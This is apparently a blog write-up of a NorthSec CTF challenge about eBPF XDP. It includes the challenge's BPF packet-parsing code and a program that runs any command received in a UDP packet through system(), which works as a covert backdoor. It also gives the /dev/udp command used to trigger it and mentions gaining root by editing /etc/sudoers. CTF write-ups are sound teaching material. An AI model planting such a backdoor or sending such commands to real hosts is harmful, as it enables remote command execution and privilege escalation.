In this post, I discuss about the CTF competition track of NorthSec, an awesome security conference and specifically about our tale of collecting two elusive flags that happened to be based upon eBPF XDP technology – something that is bleeding edge and uber cool!
In case you did not know, eBPF eXpress Data Path (XDP) is redefining how network traffic is handled on devices. Filtering, routing and reshaping of incoming packets at a very early stage even before the packets enter the networking stack the other Linux kernel has allowed unprecedented speed and provides a base for applications in security (DDoS mitigation), networking and performance domain. There is a lot of material from Quentin Monnet, Julia Evans, Cilium and IOVisor projects, about what eBPF/XDP is capable of. For the uninitiated, generic information about eBPF can also be found on Brendan Gregg’s eBPF page and links. If you think you want to get serious about this, here are some more links and detailed docs. In a recent talk I gave, I showed a diagram similar to the one below – as I started teasing myself on the possible avenues beyond the performance monitoring and tracing usecase that is dear to my heart :
TC with cls_bpf and XDP. Actions on packet data is taken at the driver level in XDP
The full presentation is here. So, what’s interesting here is that the incoming packets from the net-device can now be statefully filtered or manipulated even before they reach the network stack. This has been made possible by the use of extended Berkeley Packet Filter (eBPF) programs which allows such low-level actions at the driver level to be flexibly programmed in a safe manner from the userspace. The programming is done in a restricted-C syntax that gets compiled to BPF bytecode by LLVM/Clang. The bpf() syscall then allows the bytecode to be sent to the kernel at proper place – here, these are the ‘hooks’ at ingress and egress of raw packets. Before getting attached, the program goes through a very strict verifier and an efficient JIT compiler that converts the BPF programs to native machine code (which is what makes eBPF pretty fast) Unlike the register struct context for eBPF programs attached to Kprobes, the context passed to the XDP eBPF programs is the XDP metadata struct. The data is directly read and parsed from within the BPF program, reshaped if required and an action taken for it. The action can be either XDP_PASS, where it is passed to the network stack as seen in the diagram, or XDP_DROP, where it dropped by essentially sending it back to the driver queue and XDP_TX which sends the packets back to the NIC they came from. While the packet PASS and DROP can be a good in scenarios such as filtering IPs, ports and packet contents, the TX usecase is more suited for load balancing where the packet contents can be modified and transmitted back to the NIC. Currently, Facebook is exploring its use and presented their load balancing and DDoS prevention framework based on XDP in the recent Netdev 2.1 in Montreal. Cilium Project is another example of XDP’s use in container networking and security and is an important project resulting from the eBPF tech.
NorthSec BPF Flag – Take One
Ok, enough of XDP basics for now. Coming back to the curious case of a fancy CTF challenge at NorthSec, we were presented with a VM and told that “Strange activity has been detected originating from the rao411 server, but our team has been unable to understand from where the commands are coming from, we need your help.” It also explicitly stated that the machine was up-to-date Ubuntu 17.04 with an unmodified kernel. Well, for me that is a pretty decent hint that this challenge would require kernel sorcery. Simon checked the /var/log/syslog and saw suspicions prints every minute or two that was causing the /bin/true command to run. Pretty strange. We sat together and still tried to use netcat to listen to network chatter on multiple ports as we guessed that something was being sent from outside to the rao411 server. Is it possible that the packets were somehow being dropped even before they reached the network stack? We quickly realized that what we were seeing was indeed related to BPF as we saw some files lying around in the VM which looked like these (post CTF event, Julien Desfossez, who designed the challenge has been generous enough to provide the code, which itself is based on Jesper Dangaard Brouer’s code in the kernel source tree) As we see, there are the familiar helper functions used for loading BPF programs and manipulating BPF maps. Apart from that, there was the xdp_nsec_kern.c file which contained the BPF program itself! A pretty decent start it seems 🙂 Here is the code for the parse_port() function in the BPF XDP program that is eventually called when a packet is encountered :
u32 parse_port(struct xdp_md *ctx, u8 proto, void *hdr)
{
void *data_end = (void *)(long)ctx->data_end;
struct udphdr *udph;
u32 dport;
char *cmd;
unsigned long payload_offset;
unsigned long payload_size;
char *payload;
u32 key = 0;
if (proto != IPPROTO_UDP) {
return XDP_PASS;
}
udph = hdr;
if (udph + 1 > data_end) {
return XDP_ABORTED;
}
payload_offset = sizeof(struct udphdr);
payload_size = ntohs(udph->len) - sizeof(struct udphdr);
dport = ntohs(udph->dest);
if (dport == CMD_PORT + 1) {
return XDP_DROP;
}
if (dport != CMD_PORT) {
return XDP_PASS;
}
if ((hdr + payload_offset + CMD_SIZE) > data_end) {
return XDP_ABORTED;
}
cmd = bpf_map_lookup_elem(&nsec, &key);
if (!cmd) {
return XDP_PASS;
}
memset(cmd, 0, CMD_SIZE);
payload = &((char *) hdr)[payload_offset];
cmd[0] = payload[0];
cmd[1] = payload[1];
cmd[2] = payload[2];
cmd[3] = payload[3];
cmd[4] = payload[4];
cmd[5] = payload[5];
cmd[6] = payload[6];
cmd[7] = payload[7];
cmd[8] = payload[8];
cmd[9] = payload[9];
cmd[10] = payload[10];
cmd[11] = payload[11];
cmd[12] = payload[12];
cmd[13] = payload[13];
cmd[14] = payload[14];
cmd[15] = payload[15];
return XDP_PASS;
}
Hmmm… this is a lot of information. First, we observe that the destination port is extracted from the UDP header by the BPF program and the packets are only passed if the destination port is CMD_PORT (which turns out to be 9000 as defined in the header xdp_nsec_common.h). Note that the XDP actions are happening too early, hence even if we were to listen at port 9000 using netcat, we would not see any activity. Another pretty interesting thing is that some payload from the packet is being used to prepare a cmd string. What could that be? Why would somebody prepare a command from a UDP packet? 😉
Lets dig deep. So, the /var/log/syslog was saying that it is executing xdp_nsec_cmdline intermittently and executing /bin/true. Maybe there is something in that file? A short glimpse of xdp_nsec_cmdline.c confirms our line of thought! Here is the snippet from its main function :
int main(int argc, char **argv)
{
.
.
cmd = malloc(CMD_SIZE * sizeof(char));
fd_cmd = open_bpf_map(file_cmd);
memset(cmd, 0, CMD_SIZE);
ret = bpf_map_lookup_elem(fd_cmd, &key, cmd);
printf("cmd: %s, ret = %d\n", cmd, ret);
close(fd_cmd);
ret = system(cmd);
.
.
}
The program opens the pinned BPF map file_cmd (which actually is /sys/fs/bpf/nsec) and looks up the value stored and executes it. Such Safe. Much Wow. It seems we are very close. We just need to craft a UDP packet which then updates the map with the command in payload. The first flag was a file called flag which was not accessible by the logged in raops user. So we just made a script in /tmp which changed permission for that file and sent the UDP packet containing our script.
Trivia! Bash has an alias to send UDP packets : echo -n "/tmp/a.sh" >/dev/udp//9000
So, we now just had to wait for the program to run the xdp_nsec_cmdline which would trigger our script. And of course it worked! We opened the flag and submitted it. 6 points to InfoSecs!
NorthSec BPF Flag – Take Two
Of course, our immediate action next was to add raops user to /etc/sudoers 😉 Once we had root access, we could now recompile and re-insert the BPF program as we wished. Simon observed an interesting check in the BPF XDP program listed above that raised our brows :
...
if (dport == CMD_PORT + 1) {
return XDP_DROP;
}
if (dport != CMD_PORT) {
return XDP_PASS;
}
...
Why would someone want to drop the packets coming at 9001 explicitly? Unless..there was a message being sent on that port from outside! While not an elegant approach, we just disabled the XDP_DROP check so that the packet would reach the network stack and we could just netcat the data on that port. Recompile, re-insert and it worked! The flag was indeed being sent on 9001 which was no longer dropped now. 8 points to InfoSecs!
Mandatory cool graphic of us working
I really enjoyed this gamification of advanced kernel tech as it increases its reach to the young folks interested in Linux kernel internals and modern networking technologies. Thanks to Simon Marchi for seeing this through with me and Francis Deslauriers for pointing out the challenge to us! Also, the NorthSec team (esp. Julien Desfossez and Michael Jeanson) who designed this challenge and made the competition more fun for me! Infact Julien started this while watching the XDP talks at Netdev 2.1. Also, thanks to the wonderful lads Marc-Andre, Ismael, Felix, Antoine and Alexandre from University of Sherbrooke who kept the flag chasing momentum going 🙂 It was a fun weekend! That’s all for now. If I get some more time, I’d write about an equally exciting LTTng CTF (Common Trace Format) challenge which Simon cracked while I watched from the sidelines.
EDIT : Updated the above diagram to clarify that XDP filtering happens early at the driver level – even before TC ingress and egress. TC with cls_bpf also allows BPF programs to be run. This was indeed a precursor to XDP.
Tuxology 